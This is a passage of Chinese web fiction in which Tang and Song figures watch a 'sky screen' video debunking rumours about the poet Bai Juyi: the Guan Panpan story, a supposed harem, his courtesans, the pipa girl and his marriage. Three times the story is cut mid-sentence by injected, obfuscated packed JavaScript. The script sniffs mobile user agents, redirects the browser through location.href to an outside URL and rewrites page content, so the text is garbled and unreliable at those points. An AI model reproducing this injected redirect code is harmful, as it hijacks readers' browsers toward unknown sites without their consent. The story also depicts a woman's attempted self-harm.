听到元稹叫她,她也只是将稿子藏到身后,笑着回了一句“莺莺娘子~”。 【白居易,字乐天,中唐著名现实主义诗人,号香山居士,与元稹合称“元白”,晚年与刘禹锡合称“刘白”。 诗歌方面,他倡导新乐府运动,提出了新乐府运动的纲领“文章合为时而著,歌诗合为事而作”。①代表作有元和年间的新乐府系列,叙事长诗《长恨歌》、《琵琶行》,抒情诗《钱塘湖春行》、《梦微之》等,风格多样。他的主要诗风从早年激进的民本主义逐渐转向后期知足保和的中庸主义。 为官方面,白居易历经直谏被贬,见过好友元稹因过于刚直处处碰壁的悲剧,逐渐对朝廷失望,转而自请外放地方保一地百姓。他的思想可以从作品《新制布裘》(节选)中体现: 百姓多寒无可救,一身独暖亦何情! 心中为念农桑苦,耳里如闻饥冻声。 争得大裘长万丈,与君都盖洛阳城!】 “好官,好官啊!” 不管哪朝哪代,百姓们看着天幕,对说出这句话的官员们致以敬意。 无论朝代如何变幻,平头百姓总是被压榨的最惨的。宫殿,要百姓来修,税赋,要百姓来拿,天下冷暖唯百姓知。 他们不想管什么诗文,只想求求天幕送他们这么一个好官,让他们有机会吃饱穿暖。 枯瘦的手伸出,捡起快马奔过掉下的干草。 “谢谢广大教化主,有吃的了……” 【白居易晚年的中隐思想影响极广,开了“大隐隐于朝”之先。 唐宣宗评价白居易:“缀玉联珠六十年,谁教冥路作诗仙。” 《旧唐书》评价他:“元和主盟,微之、乐天而已。” 苏轼评价他:“白公晚年诗极高妙。” 现代人评价他:“就是那个晚年开几百人后宫,写诗逼死关盼盼,和琵琶女不清不楚,歌妓年老色衰就扔,连扶持一生的老婆都不认了的渣男啊。”】 白居易刚听得感动,谁料天幕拦腰一刀,直接将夸赞截断。 白行简笔锋一钝,好好的一段话被他整个划掉。 “兄长,可恨我太聪明。当我意识到我听到了什么,我已经失去捂住耳朵不去理解的机会了。” 16.白居易(2) 天幕不理会人们的惊讶和那些被惊讶掩藏的愤怒,继续说了下去。 【我们就从流传最久最广的诗杀关盼盼说起吧! 白居易诗杀关盼盼,这个故事定型于南宋计有功的《唐诗纪事》,从此以后,这个故事就和我们开头讲的那个小故事大差不差了。】 南宋,是还没出现的时代。 那未来出来的谣言,他现在没听过分毫,也是极为正常的。 苏轼自认为是了解白居易和关盼盼的。 他极喜爱白居易的诗文,在黄州时效仿白居易任忠州刺史时的所作所为,亲自耕种东坡,留下了一个“东坡居士”的名号;他也极欣赏白居易的为人,学着他保境安民的志向和大隐隐于朝的思想,在被贬谪的困顿中为百姓做足了实事。 他与白居易都当过杭州一地主官,苏轼又在关盼盼寡居的燕子楼所在处——徐州当过太守,与当地文人的觥筹交错间听了不少关盼盼的事情。 于是他也写了一篇凭吊关盼盼的小词,《永遇乐·彭城夜宿燕子楼》。 天幕讲故事时,他听了故事的前半段,非常自然地想到了自己调任徐州所听这些事,只等着天幕大赞关盼盼的忠贞。 谁料天幕笔锋一转,生生往他眼睛耳朵里塞了一坨秽物。 这计有功是谁?南宋的文人就是这么会编故事、会转着圈抹黑名人的老狗吗? 计有功却觉得有些冤屈。 他的少年跟着大外甥张浚在靖康之乱的流亡中过了。有了亲情加上离乱里相互扶持的感情,张浚就派他去新帝赵构面前复命,将他所著的《晋鉴》往上一递,来了一场提携。 《晋鉴》是他的得意之作,考据丰富得四角俱全,再加上些故国南渡、怀古伤今,他便被同样喜好文学的官家送去升直徽猷阁,提点潼川路刑狱公事。 现在他正在官位上着手编纂《唐诗纪事》。书中对诗人的记录是他辨析过的,以当代其他人评价为主,尽量保证其中真实。 自然,他也学《后汉书》的作者范晔,会下乡听听百姓传说。见到一些合理的,他便去想是否要编进书里。 关盼盼的传说就是其中一例。 可《唐诗纪事》,这本被每个审过稿子的人都夸赞视野广阔,态度客观的书,先是出了元稹的问题,后来又出了白居易的纰漏。 “真真是元白连心,连造谣也要一起被造,我改书还要一起去改!” 【《唐诗纪事》是定型,再往上溯源,我们能找到张君房的《丽情集》。 《丽情集》的版本里,关盼盼的故事是这样的: 徐州张愔家伎关盼盼,著有《燕子楼集》,其中包含诗歌三百首。可惜这一诗集现在已经散佚到只剩下给白居易的三首诗,即《燕子楼三首》(楼上残灯伴晓霜)。 她将这三首诗歌写给白居易,之后白居易赞许她为亡夫守节,为她写了三首和诗。 这一版里,关盼盼的结局并没有出现。】 这时轮到张愔疑惑了。 在天幕讲出“白居易诗杀关盼盼”时,他想到了自己那个同样叫“盼盼”的爱妾。那时他只是一边觉得以白居易的品行做不了这样卑劣迂腐的事情,一边想起自己爱妾的额边飞红、唇畔妆点、飞舞回旋,决定今日就去寻她。 天幕却径直点了他的名字。 他又何曾有过一个叫“关盼盼”的才女爱伎? 他的盼盼幼年贫寒,被卖进伎家还不曾记事,不知姓氏,名字也是馆主找个算命的胡乱取的。盼盼为此常常感叹自己亲缘淡薄,他是她唯一的依靠。 盼盼是厉害的伎家。她极其擅长舞蹈,擅长让客人来他家做客时宾主尽欢。可惜她会酒令,能把席间气氛攒热,平日和他相处时却光是跳舞,极少写诗。 他不信那么爱他的盼盼会在他面前藏拙!天幕也说了这只是《丽情集》里的故事,也不一定是最后的真相! 【再往上推,又到了五代前蜀韦毂的《才调集》。这本书将张仲素的《燕子楼三首》(楼上残灯伴晓霜)拨给了盼盼,从此盼盼就成了后世创作里的才女。】 张愔听到这里,便歇了对盼盼的怀疑,以为一切尽在掌握,自得的很。 庭院里,盼盼也放开纠结的眉头,在心头长舒一口气。 狐老成精,人老成奸,张愔那老头她知道,越老越奸滑多疑。此时他要是怀疑上她的感情,她多少得吃一壶。 她是伎,是不应该年老色衰的伎。她看着天幕去想未来,觉得那确实是她的答案。 张家有钱有势,张愔也有孩子,不至于让人给吃了绝户。在这样的家里当个贞节烈女,再往外宣传宣传,一来能保她年老色衰后不流离失所,二来这也是张家对外炫耀的本钱。 他们养得起、也不会苛待一个能出名的闲人。 左右张愔已老,再熬几年,就自由了。 “为我折一枝月季。”她吩咐侍女,“四月的花都取一些来,再将我房里那个莲台底座的青瓷瓶子拿来涮涮。” 鲜花与美人,是最得宜的。 于是她虚扶鬓钗,看到天上又出现了一行一行的文字,提名《燕子楼三首并序》。 “徐州故张尚书有爱妓曰盼盼,善歌舞,雅多风态。予为校书郎时,游徐、泗间。张尚书宴予,酒酣,出盼盼以佐欢,欢甚。予因赠诗云:‘醉娇胜不得,风袅牡丹花。’一欢而去,迩后绝不相闻,迨兹仅一纪矣。昨日,司勋员外郎张仲素(馈之)访予,因吟新诗,有《燕子楼》三首,词甚婉丽。诘其由,为盼盼作也。馈之从事武宁军累年,颇知盼盼始末,云:‘尚书既殁,归葬东洛。而彭城有张氏旧第,第中有小楼,名燕子。盼盼念旧爱而不嫁,居是楼十余年,幽独块然,于今尚在。’予爱馈之新咏,感彭城旧游,因同其题,作三绝句。” 【而这一切来源的来源,是白居易的《燕子楼三首并序》。 白居易在序言里写了他与张尚书的旧交,回忆了张尚书爱伎盼盼擅长舞蹈。他从张仲素口中得知盼盼守节一事,大加赞赏,写了《燕子楼三首并序》来与张仲素唱和,并纪念与张尚书和盼盼的情谊。 后人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087977|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把张仲素的《燕子楼三首》(楼上残灯伴晓霜)划归盼盼名下,可能是误读了“诘其由,为盼盼作也”这句话。白居易在下文明确提出他爱的是“馈之新咏”,说明诗歌是张仲素所作而非盼盼。 所以白居易的原稿与盼盼并无直接关系,与他有所唱和的人是武宁军从事张仲素。 盼盼对白居易诗歌的回信《和白公诗》也可以认定为伪作:她在诗中对白居易以“舍人”相称,而写《燕子楼三首》时的白居易,离未来荣升中书舍人,还有七年左右。 总不能是盼盼收到白居易诗歌再寄回信,一来一回延迟了7年吧? 总而言之,白居易“诗杀”关盼盼为假。】 文宗李昂治下,刚回长安的白居易长叹一口气。 他想起元和十年的秋雨里,他与张仲素围炉品读那三首《燕子楼》新诗,白须幕僚叹道:“尚书故去多年,她仍守着空楼。” 那时的他是怎么样的呢?因为冤屈,他沦落江州,在猿啼声中惨作飘零客。他清楚记得自己写下“争教红粉不成灰”时的本意——那是对无常的叩问,而非对生命的催逼。 以何如此?何以如此? 他明明是希望盼盼姑娘能活着的。 眼前一只茶壶,一瀑水,一点杯。裴度按着盖子,给他一捧清澈的茶水。 他带着风霜像少年一样戏谑他:“多年不见,乐天,你怎么也和微之一样被后人编成这样?” “中立你莫笑我。”白居易摇摇头,雪白的头发在空中飘落了几根,“后人自有后人说,原来文字流转百年,终成食人妖魔。” “哈哈哈,不知道以后哪个时代,裴某会不会也成了某个故事里的恶人!” “怎么会呢?中立平定淮西,拥立今上,这是日月垂光的功绩啊!” 裴度缓缓摇了摇头:“乐天,郭将军当年能急流勇退,我也到了这个时候了。” 白居易默然。 郭子仪平定安史之乱,再造大唐,功高震主。于是他晚年沉迷于豪宅美女,借以自污。 裴度六朝元老,四朝宰相,再加上拥立当今的功劳,也是时候了。 如此行事,大约身后都不会逃过一个晚节渐失的,可裴度还笑,胡子抖抖就说出他自污隐退的决定。 “乐天,来帮我参谋参谋。我的宅子就叫绿野堂如何?以后来了洛阳,我带你喝酒逛园子,你可要多给我写两首诗!” “好。” 若不是天幕提及他,自己也该在洛阳赋闲了吧? 【这整件事,从一首诗歌、一个贞妇而起,韦毂给盼盼添加了诗作和才女人设,张君房给了盼盼姓氏和诗集,计有功给了盼盼《临殁口吟》和因为白居易绝食而死的结局。 谣言聚集了人们百年的智慧,终于成型。 聚沙成塔,集腋成裘。故事的传播会造成失真,真相不断偏离原先的轨道。 你今天看到的故事,你所见的一切荒唐,和它刚刚发生时的模样,或许早就大不一样了! 这不就是一件更荒谬的事吗?】 17.白居易(3) 【不知道为什么,近几十年网上的白居易谣言呈井喷式发展,所有人都盯上了他的下三路。“诗杀”关盼盼竟然成了白居易最有传承的谣言。 白居易后宫百来人的事情,就是营销号最近提出的。 哟~难道一个会写《论姚文秀打杀妻状》,让打死老婆却逍遥法外的八品官伏法的白居易,晚年一双玉臂千人枕了?】 天幕真是促狭的过分了,什么话都说得出来! 白居易刚刚还想着怎么通过“诗杀”关盼盼谣言的丰满,看出那“五代前蜀”、“北宋”、“南宋”的民风,谣言的发展必然和当时社会情况和百姓见闻有关,这谁都知道。 此时他却被天幕一句“一双玉臂千人枕”砸破了脑袋。 白居易起身怒视天幕:“看清楚!人言三岁看老,我今天三十有五,尚未娶妻,以后怎么可能去当一个色中饿鬼!” 元稹和白行简赶紧上前,把人安抚了。 郑兰芝听了天幕的惊人发言,还是气定神闲:“三十五了,还没有安排婚姻吗?你母亲若是等不及了,跑到长安来替你相看,你可不要怨她管太多。” 【我们都知道,在唐朝这个没有好避孕药堕胎药的时候,看一个人是否好色,还是要看他有几个孩子。 白居易是有生育能力的。他家有女孩也有男孩,却算得上一句子嗣艰难。 女儿金銮子,养到三岁夭折了;江州生的三个女儿,只有阿罗活了下来。60岁左右白居易喜得儿子阿崔,结果又养到三岁,又死了。 一生五个孩子,四女一男,最终结算只成年了一个阿罗,以至最后白居易不得已过继了侄孙白景受。 这是多没子女运,才能养出这样一个结果啊!】 别说唐朝的避孕药没用,就是明朝,也没有什么有用的、还不伤身的避孕药。 归有光想起他的母亲。 那是他小时候。他被乳母抱到母亲屋前,乳母扣着门喊主母,母亲扒着门喊孩子。 她的声音太可怕了!夜晚的树枝把影子伸得好长,母亲像传说中任何一个鬼怪,发出“嗬嗬”的怪声,一边喊着孩子,一边要让树枝来把他抓走! 他怕极了,哭得很大声,大声喊娘! 乳母和母亲似乎都笑了起来。 长大后他才知道,母亲因为不想再一年年地生孩子,被人骗去喝了土方的避子汤。那避子汤不仅没防住他的出生,还坏了她的嗓子,教她一说话就要遭受刀割斧凿之苦! 大姐和他说起这事,她也哭着喊娘,哭着说母亲扣着门扉,用尽力气问出“孩……子……好?” 她说:“娘这些年你也看着,避子药害得她只能活一天混一天。都说多子多福,娘被多子害了一生,可见生孩子就不是个好东西!” “生孩子是鬼门关,避子药是活受罪!” 归有光不知道,大姐还咽下了一句话。 知道娘容易怀孕,为什么父亲就不能忍住不去找娘索欢? 他只有一夕欢愉,娘却要生生痛苦那么多年。 【如果白居易真的有几百人的后宫,他还为追儿子发什么愁啊? 我们来举一个真正荒淫会造人的——中山靖王刘胜,一生120多个孩子。 就算他只给白居易匀一个孩子额,白居易也要开心死了! 但这谣言捕风捉影,究竟捕的哪阵风,捉的什么影呢? 因为白居易晚年蓄伎。】 地上的富户们瞪大眼睛。 就这? 伎是负责舞乐的家奴,大官人在家不养几个伎更是让人看不起,觉得这是个不会欣赏丝竹歌舞的大老粗。 伎可以被纳为妾,但谁要说伎妾等同,简直就和“家里主人把所有奴仆淫了个遍,不论男女”一样荒谬! 东晋,王恺摇摇嵌了珍珠玛瑙的酒杯,眼神流过庭中伎人。女伎向年轻人劝酒,年轻人却面容整肃。女伎急了,将酒含入口中要去蹭年轻人的唇,被年轻人蹙眉避开。 “那个,带下去砍了。” 他不需要劝不进酒的女伎。 刘宋,萧惠开听着耳边丝竹声,看眼前女子抛出绸缎,舞动身躯。 席中人窃窃私语:“那个就是萧刺史杀了人抢来的美人?” “对呀,他故交吉翰儿子好好招待他,没遂他心意给他一个女人,就被直接杀了,连个靠谱的罪名都没按!” “知人知面不知心,他怎么如此狠心!” 【蓄伎这事,汉朝就有。三国魏晋南北朝把它发扬光大,一些生活奢靡的大族甚至在国丧期间也要命家中伎人奏乐欢宴。 唐朝承袭前朝,有钱有势的人多多少少会养一批伎人来撑场面。 这些伎人说好听叫伎人,说难听些就是专门负责歌舞的奴隶。不管是高聪死后毒哑自家歌伎、烧毁乐工双手“殉葬”,还是宗道因为马士达夸了一句女伎手美就砍了女伎的手,都能看出时人不把伎人当人的态度。 六朝俗乐的繁盛,正是建立在无数伎人悲惨的命运上。 这次要讲的谣言里有白居易晚年嫌弃府中女伎年老色衰就把她们赶出府一事,我们就来看看白居易对伎人的态度。】 “毒哑歌伎?砍乐工手?”正在打犁的工人搓搓自己长满茧的大手,一拍,扇起一阵风。 他打了个寒颤。 “老赵,那些人可怜哟!手坏了没用了,地主还会给他们养老送终?一群丧良心的玩意!呸!” “老赵”刨着木头吹起口哨:“那不是还能出来嫁人吗?村里什么不多就光棍多。” 工人张张嘴,本能觉得不对,又不知道怎么说。突然,他灵光一现:“地主家里有钱,鸡鸭能吃得流油。光棍哪个不是村里女人挑剩下的?让一群织不了布下不了地的女人嫁光棍,亏你想的出来!” “老赵”又去吹口哨了。 白居易捏着杯子,觉得这也不是与裴度喝酒……喝茶的时候。他拈着自己拖到桌上的胡须,又把白胡须揪下来几根。 百姓苦啊! 【白居易放伎时有一篇名作传世,即《不能忘情吟并序》,写于他自己年老体衰,患了病风症而想要遣散伎人、卖掉骏马,让他们另谋生路时。我们就来看看这篇诗歌的节选。 予俯而叹,仰而咍,且曰: 骆,骆,尔勿嘶; 素,素,尔勿啼。 骆反厩,素反闺。 吾疾虽作,年虽颓, 幸未及项籍之将死。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110595|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 何必一日之内,弃骓兮而别虞兮。 这篇诗歌写给白居易的爱伎樊素和爱马,白居易在里面写了他放伎卖马的真正原因:衰老和病痛。 这两个分开看或许还好,但合起来一看,嚯!你还有几年可活! 这种情况下放伎,反而没有耽误女伎的青春,好让她们在趁着美貌还在,赶紧另寻生路。 这里就有人要说了,我们怎么能只听白居易这一面之词,就断定白居易放伎只是因为年老体衰?《不能忘怀吟》里可是写了樊素哭求不离开白居易,如果离开对她有好处,她又为什么要苦苦哀求留下? 这些还是要大家自己思考,up在这里只说让up相信白居易的理由。 如果白居易写《不能忘怀吟》是为了粉饰太平,他大可再糊几桶浆糊,把整场离别写得其乐融融。 只要写写歌伎舞伎最后一次为主人献艺争宠斗艳,写写她们感念主人恩德而泣下沾襟,一个仁德主人的形象就出来了。 白居易一旦有坏心,就可以轻而易举把这些场景美化。 但他没有这样写。 这或许是因为,他写的一切都是发自内心。】 元和元年,符离。 白居易的母亲陈元华捏紧了手中的帕子。她操心白居易婚事已久,先前听到天幕说白居易只有一个女儿活到成人,她心绪不宁。 乐天绝后了?知退呢?乐天过继的那个白景受,是知退的孩子吗? 她的血脉,是不是只能靠一个女儿传下去? 女儿……女儿…… 她怨怼白居易为什么晚年不多收几个妾室再追一追儿子,又恨自己的舅舅兼丈夫为什么离开的那么早,只留下他们孤儿寡母。她又想到自己早逝的小儿子白幼美,往草地里掰了一把放在腿上撕。 她看那个樊素就很好!儿子年老了还对他不离不弃,一定是个长情的! 旁边的仆妇也知道她在想什么。腹诽着她当年拿着剪刀追丈夫几里地的善妒,仆妇慢慢靠近,提防她回屋里拿剪刀在自己手上割一道。 要再让夫人像上回一样差点把喉咙割了,她们都得受罪! 草被撕成沫子,沫子被陈元华一掸,没了。仆妇觑着陈元华,陈元华觑着仆妇。 夫人真是个疯子。她想。 陈元华起身,仆妇紧跟。她绕进屋子,她也跟着进了屋子。 她理理衣服,掉出一块肉。仆妇看过来,她却用手掩住,惊恐万分。 也不是第一次看到这块肉了。仆妇想,主人家的事与她何干呢? 陈元华一会儿就不知道把那块肉塞到哪儿去了。她抬头看着仆妇,像个犯错的小孩。 她笑了。 她凑到仆妇耳朵旁边。 她说:“你年轻,别成亲,别生小孩,别生女孩!儿子就好,儿子就好……儿子就不会掉肉!” 她跳起来,跳过仆妇,跳到前面,翻到剪刀,直直往那块不知道为什么又掉出来的肉上面戳。 仆妇打掉剪刀,又仗着自己健壮,从地上抄起剪刀就往外跑。陈元华也不追出来,就倚着门框狠狠盯着她。 “你为什么……”她尖叫着哭,“你个孽障,你为什么不让我剪掉我的子宫啊!” 18.白居易(4) 【既然讲了白居易对伎人的态度,我们不妨顺便理理白居易对女性的态度。 白居易写《古冢狐》痛骂过女色误国,也写过《论姚文秀打杀妻状》让家暴打死妻子的姚文秀杀人偿命。 他写“怀中有可抱,何必是男儿”,又给外孙女起名“引珠”——在“生男弄璋,生女弄瓦”的年代,白居易又多次在诗文里把儿子称作“珠”……好吧,我们不得不怀疑一下这个“引珠”其实就是“招娣”了。 不过总体来说,白居易的女性意识是比上不足比下有余的。他一个老人家比不过现代的要求,但比某些封建遗老要强多了。 如果白居易到了现代,他多少得问一句那些还认为女人不能上桌、男人家暴合理的老古董们:你们怎么这么封建啊?】 仆妇在室外和陈元华对峙着。 外面来了一个婆子,双手粗大生茧,手臂虬劲有力,一看就是种地的好料子。 婆子看到仆妇手里的剪刀,瞬间了然。她朝仆妇送去一个眼神,见仆妇点头,叹出一口气。 主人家这位娘子,在她来交班盯人前,又差点自裁了。 陈元华哭,哭着伸手去拉扯自己的子宫。婆子眼见不对,冲上去握住她的手。仆妇也把剪刀远远扔了,来抓着陈元华的脚。 她们不敢让子宫掉到地上。 “夫人!听见吗?” 婆子大喊。陈元华眼睛里残留着泪,跟着尖叫。 忍到尖叫声慢慢收拢了,婆子终于看到陈元华点了一下头。她难受地笑了一下。 “夫人。”婆子说,“我求求你,不要扯子宫,不要剪子宫。” 陈元华“啊啊”了两声,又流下眼泪。 仆妇看着这个爱管闲事的婆子,想着陈元华不闹自杀对自己也好,还是听她劝了下去。 “我村里有个财主……运气好的家伙,以前也种地。他老婆有个村里好多女人一样的毛病,生完孩子没休息就下地,整个子宫掉出来,平时缝了个口袋盛着。 “财主婆天天拿这么个袋子多没面子啊?她就用热水冲了剪刀,对着子宫那么一咔嚓……人当天就大出血没了!外面还煮着红糖鸡蛋,这是造的什么孽啊!” “她也想活下去的……”陈元华喃喃道。 “是啊,红糖鸡蛋都煮上了……这东西价又不贱。” 陈元华动了动手。 她的手确实不像“官样”的,也粗。更粗的婆子和仆妇看她不像还要自杀的样子,慢慢松手,陈元华逐渐能活动了。 “拿盆水给我洗洗……” 她想活着,在她清醒的时候。 不骗人……不骗人! 不同时代的人们听到看到了天幕所说现代与古代的区别——之二。 把伎当人看而不是财产,性别平等,女人上桌,男人打死老婆要偿命。 平等……那是一个多可怕的词,他们手里的权力会消失。 为什么?后人的贵族还让奴隶骑到头上了吗? 【古代的闺怨诗,大多都是男人写的。他们写这些事大多是为了拿夫妻比作上司和自己,可这些诗或多或少能看出他们对女性的看法。 男性写女性的诗歌还有两个大方向,一是把女性融入整个劳苦民众的大群体,以讲女性来写百姓苦。第二呢,就是把女性作为一个知己的形象,以与女性的交流陈说自己的心志。 白居易的名作《观刈麦》是前者,我们马上要讲的《琵琶行》则是后者的典型。 开始讲述之前,我们必须要吐槽一件事。 为什么会有人说白居易被贬到江州遇到的琵琶女,是薛涛啊!】 剑南道西川武元衡帐下,掌书记薛涛惊讶抬头。 身旁的女洞主第一次来西川见天幕,一惊,又见薛涛一干人神色略有失态,身躯却稳得很。洞主用民族语言问:“这是唐的神吗?” 译者将她的话递给薛涛,薛涛笑着回答:“这是不时会显现的神迹。” 掌书记,唐朝节度使帐下负责文书起草、军事外交的重要官员,因属于幕僚而无品级。其所起草公文常被传抄,通常以文才出众的人担任。 薛涛则被男女大防按着,专门接待境内南蛮中的女洞主,另外还起草文书,为节度使发言。这种直上直下的工作也与男性官员无涉。 她受圣人征辟入朝,不经宰相讨论得此官位,不算是走正路踏上仕途。可天高宰相远,她头顶的上司武元衡与她友善,对她看重,外头流言蜚语更不及她当官伎时的风流谣言。 这些又能奈她何呢?她又如何不能压倒那些曾听过她琵琶的客人呢? 只是她未来若要往上走,必须去走孤臣的路子了。 走“正道”授官的人可不会接纳她。 【在某些奇怪的版本,薛涛被元稹抛弃以后听说白居易被贬到江州,特意跑到江上守候,终于见到了白居易,成为白居易诗中的琵琶女。 ……这短短一段话好多槽,好想吐…… 我们不说薛涛元稹是假的,详情可以点击下面的视频;我们也不说薛涛没有结婚记录,而琵琶女嫁给一个茶商;我们再不说薛涛自从幼年随父入蜀后就没出过四川,晚年隐居的是成都浣花溪而不是白居易所在的江西省九江市。 我们只说薛涛和白居易的交情吧。 白居易给薛涛写过《赠薛涛》,他们两个是笔友关系。薛涛真的要见白居易,不过是写一封信就能做到的事。 那她为什么还要跑到江上吹着冷风等着白居易? 因为江西九江天气热吗?】 自从天幕开始,就有一群人跑到白家试图结交白居易。 长安客商,回京官员……而真正与白居易走得近的仗着日常的水磨功夫,最多把天幕当成嘲笑白居易的素材,就等着见面时去调侃他。 奈何白居易家里只有小厮探头,言明白翰林不在家。 怎么办呢?人们兜兜转转,走过一条街,想到了白居易的挚友元稹。 更巧的是,白居易的家和元稹的家就隔了一条街,非常方便他们顺路去拜访一下。 不亏。 于是幸运的白居易现在才又感受到人们的热情——要知道,上次还是他陪元稹“受刑”。 外面有人敲门,元家的仆人要去开门,却被郑兰芝喊住。她把白居易和白行简藏到了屋里,才让人开门。 门一开,灰压压的人就要涌进来。郑兰芝对着人群捂住心口,作出病人被来客吓到的样子。元稹和韦丛赶紧乘机把来访的人赶走。 门一关,屋门一开。白行简拉出白居易,白居易谢过郑兰芝。 “您是怎么想到用孝道压他们的?”白居易问。 郑兰芝摆摆手:“我当过孝女、贤妇、良母。有一生好名声的人不会应变不了这些场面,你们要学的,还多着。” 她把韦丛拉过来,认真嘱咐。 “你就先多活几年,那些交给他们想。” 【白居易和琵琶女的风月谣言,其实用一句话就能结束——唐朝官员不兴开银趴。 《琵琶行》中的全部故事,都在白居易的送客宴会中进行。好事者把白居易的名句“银瓶乍破水浆迸,铁骑突出刀枪鸣”当h文看,却忽略了这句话发生在白居易和一众官员听琵琶女弹琵琶的时候,是白居易对美妙琵琶声的形容。 白居易不可能当众对有夫之妇琵琶女做什么。 某些人下次传谣前,不如先把自己脑袋里的黄色废料倒一倒吧!】 什么叫h文?皇帝御文吗? ……好像不像,倒像是什么不好的东西。 银趴又是什么东西? 不过“白居易不可能当众对有夫之妇琵琶女做什么”一句,大家倒是听明白了。一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128164|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群人立时对那些侮辱香山居士人格的人口诛笔伐,维护他们文坛的“广大教化主”。 永徽年间,长孙无忌正审阅他主编的《唐律疏议》,听到天幕神来一笔,皱眉道: “监临主守之人,于所监守内奸良人,加凡奸一等……若奸无夫妇女,徒二年;奸有夫妇女,徒二年半。” 官员奸所管辖的百姓,加一等罪。奸无夫女子,徒刑二年,奸有夫女子,徒刑二年半。 这造谣的人必定没看过唐代律法,也未必通晓当代律法。唐朝地方官员不能与辖地内百姓通婚,这些官员私掠良家妇女的事对刑部和大理寺可是送上门的政绩。 没人想从官员变成囚徒。 【接下来我们要辟白居易晚年不敬老妻的谣。这个谣言应该是白居易晚年蓄伎的衍生。认为伎妾等同的人们觉得白居易纳了那么多妾,可不就是不敬老妻嘛! 白居易所谓后宫的事我们已经说过,那我们就借这个机会说说白居易对妻子的态度和他还有争议的婚姻吧! 白居易37岁娶妻杨虞卿从父妹杨氏,结婚不久,白居易就写了《赠内》,表示“生为同室亲,死为同穴尘”,情谊不可谓不深厚。 他晚年写的另一首《赠内》,则写“莫对月明思往事,损君颜色减君年”,表现出夫妻关系仍然融洽,白居易晚年不敬老妻之事站不住脚。】 “杨虞卿从父妹……”不是湘灵。 清楚白居易少年时与邻女湘灵芳心暗许的白行简同情地看向兄长,也叹为何母亲一直不同意兄长娶湘灵。 选婚高门,真的那么重要吗? “哈哈哈哈哈!”陈元华笑着。不同于平日里疯癫的笑,婆子和仆妇都能看出来,她开心得很! “湘灵没嫁给乐天,太好了!她不会给我们家生孩子了!” 婆子疑惑,仆妇就上来和她咬耳朵:“夫人以前是把湘灵姑娘当女儿看的……可能不想让她当儿媳妇吧?” 婆子点头,又问:“当了儿媳妇不是更能照顾孩子?为什么要放任她嫁给不知道底细的别家?” 仆妇睨她一眼:“谁说湘灵姑娘嫁到别家去了?人家可爱二郎了,听说二郎为她守着也一直不愿意嫁人……之前人家出家当女冠,家里人打上来,说白家耽误他家好姑娘,夫人还出了度牒钱呢!” “都肯出度牒钱为什么不用这笔钱把人家聘回来?” “不知道夫人是怎么想的。”她也不想去想疯子的想法。 【白居易的婚姻很迷。他究竟有几任妻子,有没有妾室,现代都是有主流,无定论。 这里up就列出两种说法。 第一种,白居易和杨虞卿从父妹杨氏白头偕老,杨氏去世于白居易会昌六年离世之后。这是主流。 第二种,白居易先娶杨虞卿从父妹杨氏,杨氏早逝,他又在大和元年前后续娶杨汝士妹。 第一种认为,白居易一生没有写给妻子的祭文,说明妻子是在他身故后去世;第二种认为,白居易《闲坐》中的“有室同摩诘”指的是当时白居易和王维一样丧妻,后来又娶了杨汝士妹生下儿子阿崔。 浅薄的up听听两种好像都有道理,只能都写出来给大家讨论了。】 白居易听到这里,在心中打起稿子想聊聊他的初恋与婚姻的问题,却见元家三人都盯着自己。 唯一一个不明就里的白行简在外头托着自己的脑袋。 “乐天,天幕也说了你的死期啊……”元稹道。 “没事,天幕也说了我的死期,你比我能活好几倍。”韦丛道。 “你们两个年轻人,还是要好好活下去……”郑兰芝摇摇头,道,“我死期将近,墓志铭就托付给乐天了。” “你们……”白行简插进话来。 “没被天幕说死的不要说话!” 白行简摸摸脑袋,继续托他的头去了。 19.白居易(5) 【现在,我们要进入最后的保留项目。我们要讲述一个最特殊的谣言!】 苏轼仔细听着天幕。对比上次元稹篇的最后一个存疑谣言,他拣了一颗雪白的荔枝。 【恭喜白居易成为本系列视频里第一个自己造自己的谣的人! 鼓掌!】 苏轼一口荔枝噎在嘴里,把荔枝核吐得盘子叮当响。 【让我们感谢白居易堂弟白敏中,感谢他一句话揭穿了谣言的本质,成功背刺他哥让我们知道事情的真相! 鼓掌!】 天幕上响起哗啦啦的鼓掌声,配合苏轼被荔枝水呛到的咳嗽声,整个远宁军节度副使府上热闹得很。 白居易听到这里,也无心去维护“因为没被天幕说死”而被针对的白行简,而是正经严肃去听自己的堂弟到底做了什么。 接下来天幕的话关系到白居易要不要写信往宣州溧水给叔父白季康,请他管教一下自己的小堂弟。 【白居易自称秦将白起后裔,太原人,可白敏中的诗词中却以“十姓胡中第六胡”自称。① 